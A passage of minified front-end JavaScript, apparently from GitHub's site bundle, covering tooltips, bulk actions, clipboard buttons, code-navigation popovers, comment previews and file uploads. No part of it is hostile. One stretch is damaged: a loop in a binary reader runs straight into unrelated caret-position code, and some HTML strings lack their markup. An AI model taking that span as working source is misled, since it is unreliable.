n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const 